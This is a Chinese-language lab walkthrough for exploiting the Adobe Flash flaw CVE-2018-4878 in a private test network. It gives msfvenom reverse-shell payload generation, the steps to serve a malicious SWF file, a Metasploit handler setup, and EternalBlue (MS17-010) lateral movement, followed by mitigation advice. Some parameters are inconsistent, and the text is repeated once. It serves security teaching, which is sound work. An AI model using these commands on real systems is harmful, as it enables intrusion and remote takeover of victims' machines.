内网环境复现CVE - 2018 - 4878
字数 1743 2025-12-02 10:42:52

CVE-2018-4878 Adobe Flash漏洞分析与复现指南

1. 漏洞概述

CVE-2018-4878是Adobe Flash Player中的一个高危远程代码执行漏洞,影响28.0.0.137及之前的所有版本。该漏洞最早由韩国计算机应急小组(KR-CERT)在2017年底发现,Adobe于2018年2月1日发布安全通报(APSA18-01),直到2018年2月5日才发布补丁修复。

漏洞特点

  • 攻击者可通过构造特殊的Flash链接进行利用
  • 用户通过浏览器、邮件或Office访问恶意Flash链接时会被远程代码执行
  • 可直接获取目标系统shell权限
  • 在补丁发布前已被野外利用

2. 环境准备

2.1 实验环境拓扑

外网:
└─ 攻击机(Kali Linux)
   ├─ IP: 192.168.28.136
   
内网:
├─ 靶机1(Windows 7 x64)
│  ├─ 外网IP: 192.168.28.129
│  └─ 内网IP: 192.168.211.128
│     └─ 安装Adobe Flash 28.0.0.137
└─ 靶机2(Windows Server 2003)
   └─ IP: 192.168.211.129

2.2 所需工具

  • Metasploit Framework
  • Apache2服务
  • Python环境
  • Adobe Flash Player 28.0.0.137(漏洞版本)

3. 漏洞复现步骤

3.1 生成恶意载荷

使用msfvenom生成反向TCP连接的shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.136 LPORT=8888 -f python > shellcode.txt

参数说明:

  • -p windows/meterpreter/reverse_tcp:指定payload类型
  • LHOST:攻击机(Kali)的IP地址
  • LPORT:监听端口
  • -f python:输出格式为Python

3.2 编写漏洞利用程序

使用Python编写CVE-2018-4878漏洞利用程序(cve-2018-4878.py),关键步骤:

  1. 将生成的shellcode替换原程序中的buf变量
  2. 修改相关参数以匹配目标环境
  3. 执行脚本生成两个文件:
    • index2.html(恶意网页)
    • exploit.swf(恶意Flash文件)

执行命令:

python cve-2018-4878.py

3.3 搭建Web服务

  1. 启动Apache2服务:
service apache2 start
  1. 将生成的文件复制到Web目录:
cp index2.html /var/www/html/index2.html
cp exploit.swf /var/www/html/exploit.swf

3.4 设置监听

  1. 启动Metasploit框架:
service postgresql start
msfdb init
msfconsole
  1. 配置handler监听模块:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.28.136
set LPORT 8888
exploit

3.5 触发漏洞

让靶机1(Windows 7)访问攻击机搭建的Web页面:

http://192.168.28.136/index2.html

成功利用后,Metasploit将获得meterpreter会话,可执行以下命令验证:

  • ifconfig:查看网络配置
  • getuid:获取当前用户
  • sysinfo:获取系统信息
  • ps:查看进程列表

4. 内网渗透扩展

4.1 内网信息收集

在meterpreter会话中:

run get_local_subnets  # 查询本地子网
run autoroute -s 192.168.211.0/24  # 添加静态路由
run autoroute -p  # 查看路由表

4.2 扫描内网漏洞

使用永恒之蓝(MS17-010)扫描模块:

background  # 退出meterpreter
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.211.0/24
set THREADS 50
run

4.3 内网攻击

发现靶机2(192.168.211.129)存在MS17-010漏洞后:

  1. 设置端口转发:
sessions 1
portfwd add -l 5555 -p 6666 -r 192.168.211.129
portfwd add -l 4445 -r 192.168.211.129 -p 445
  1. 利用永恒之蓝漏洞:
use exploit/windows/smb/ms17_010_psexec
set RHOST 192.168.28.136
set RPORT 445
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 2222
exploit

成功后可获取靶机2的meterpreter会话。

5. 防护措施

  1. 立即更新:到Adobe官网下载最新版Flash Player

    • 官方下载地址:https://get.adobe.com/cn/flashplayer/
  2. 安全配置

    • 禁用不必要的Flash内容
    • 在浏览器中限制Flash运行
  3. 安全软件

    • 安装杀毒软件并保持实时防护开启
    • 确保杀毒引擎保持最新
  4. 长期方案

    • 考虑完全移除Flash Player(Adobe已于2020年底停止支持)
    • 使用HTML5等现代技术替代Flash

6. 技术原理分析

CVE-2018-4878是一个类型混淆漏洞,位于Flash Player处理Flash内容的过程中。攻击者通过精心构造的SWF文件,利用Flash Player对对象类型处理不当的缺陷,导致内存破坏,最终实现任意代码执行。

漏洞利用链:

  1. 恶意SWF文件触发类型混淆
  2. 导致内存破坏,绕过安全机制
  3. 执行嵌入的shellcode
  4. 建立反向连接获取系统控制权

7. 参考资源

  1. Adobe安全公告APSA18-01
  2. KR-CERT漏洞报告
  3. Metasploit模块文档
  4. CVE官方描述:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-4878

本教学文档详细记录了CVE-2018-4878漏洞的复现过程,从环境搭建到漏洞利用,再到内网横向渗透,最后提供了防护建议。请注意,此文档仅用于安全研究和教育目的,未经授权对他人系统进行测试是违法行为。

CVE-2018-4878 Adobe Flash漏洞分析与复现指南 1. 漏洞概述 CVE-2018-4878是Adobe Flash Player中的一个高危远程代码执行漏洞,影响28.0.0.137及之前的所有版本。该漏洞最早由韩国计算机应急小组(KR-CERT)在2017年底发现,Adobe于2018年2月1日发布安全通报(APSA18-01),直到2018年2月5日才发布补丁修复。 漏洞特点 : 攻击者可通过构造特殊的Flash链接进行利用 用户通过浏览器、邮件或Office访问恶意Flash链接时会被远程代码执行 可直接获取目标系统shell权限 在补丁发布前已被野外利用 2. 环境准备 2.1 实验环境拓扑 2.2 所需工具 Metasploit Framework Apache2服务 Python环境 Adobe Flash Player 28.0.0.137(漏洞版本) 3. 漏洞复现步骤 3.1 生成恶意载荷 使用msfvenom生成反向TCP连接的shellcode: 参数说明: -p windows/meterpreter/reverse_tcp :指定payload类型 LHOST :攻击机(Kali)的IP地址 LPORT :监听端口 -f python :输出格式为Python 3.2 编写漏洞利用程序 使用Python编写CVE-2018-4878漏洞利用程序(cve-2018-4878.py),关键步骤: 将生成的shellcode替换原程序中的buf变量 修改相关参数以匹配目标环境 执行脚本生成两个文件: index2.html(恶意网页) exploit.swf(恶意Flash文件) 执行命令: 3.3 搭建Web服务 启动Apache2服务: 将生成的文件复制到Web目录: 3.4 设置监听 启动Metasploit框架: 配置handler监听模块: 3.5 触发漏洞 让靶机1(Windows 7)访问攻击机搭建的Web页面: 成功利用后,Metasploit将获得meterpreter会话,可执行以下命令验证: ifconfig :查看网络配置 getuid :获取当前用户 sysinfo :获取系统信息 ps :查看进程列表 4. 内网渗透扩展 4.1 内网信息收集 在meterpreter会话中: 4.2 扫描内网漏洞 使用永恒之蓝(MS17-010)扫描模块: 4.3 内网攻击 发现靶机2(192.168.211.129)存在MS17-010漏洞后: 设置端口转发: 利用永恒之蓝漏洞: 成功后可获取靶机2的meterpreter会话。 5. 防护措施 立即更新 :到Adobe官网下载最新版Flash Player 官方下载地址:https://get.adobe.com/cn/flashplayer/ 安全配置 : 禁用不必要的Flash内容 在浏览器中限制Flash运行 安全软件 : 安装杀毒软件并保持实时防护开启 确保杀毒引擎保持最新 长期方案 : 考虑完全移除Flash Player(Adobe已于2020年底停止支持) 使用HTML5等现代技术替代Flash 6. 技术原理分析 CVE-2018-4878是一个类型混淆漏洞,位于Flash Player处理Flash内容的过程中。攻击者通过精心构造的SWF文件,利用Flash Player对对象类型处理不当的缺陷,导致内存破坏,最终实现任意代码执行。 漏洞利用链: 恶意SWF文件触发类型混淆 导致内存破坏,绕过安全机制 执行嵌入的shellcode 建立反向连接获取系统控制权 7. 参考资源 Adobe安全公告APSA18-01 KR-CERT漏洞报告 Metasploit模块文档 CVE官方描述:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-4878 本教学文档详细记录了CVE-2018-4878漏洞的复现过程,从环境搭建到漏洞利用,再到内网横向渗透,最后提供了防护建议。请注意,此文档仅用于安全研究和教育目的,未经授权对他人系统进行测试是违法行为。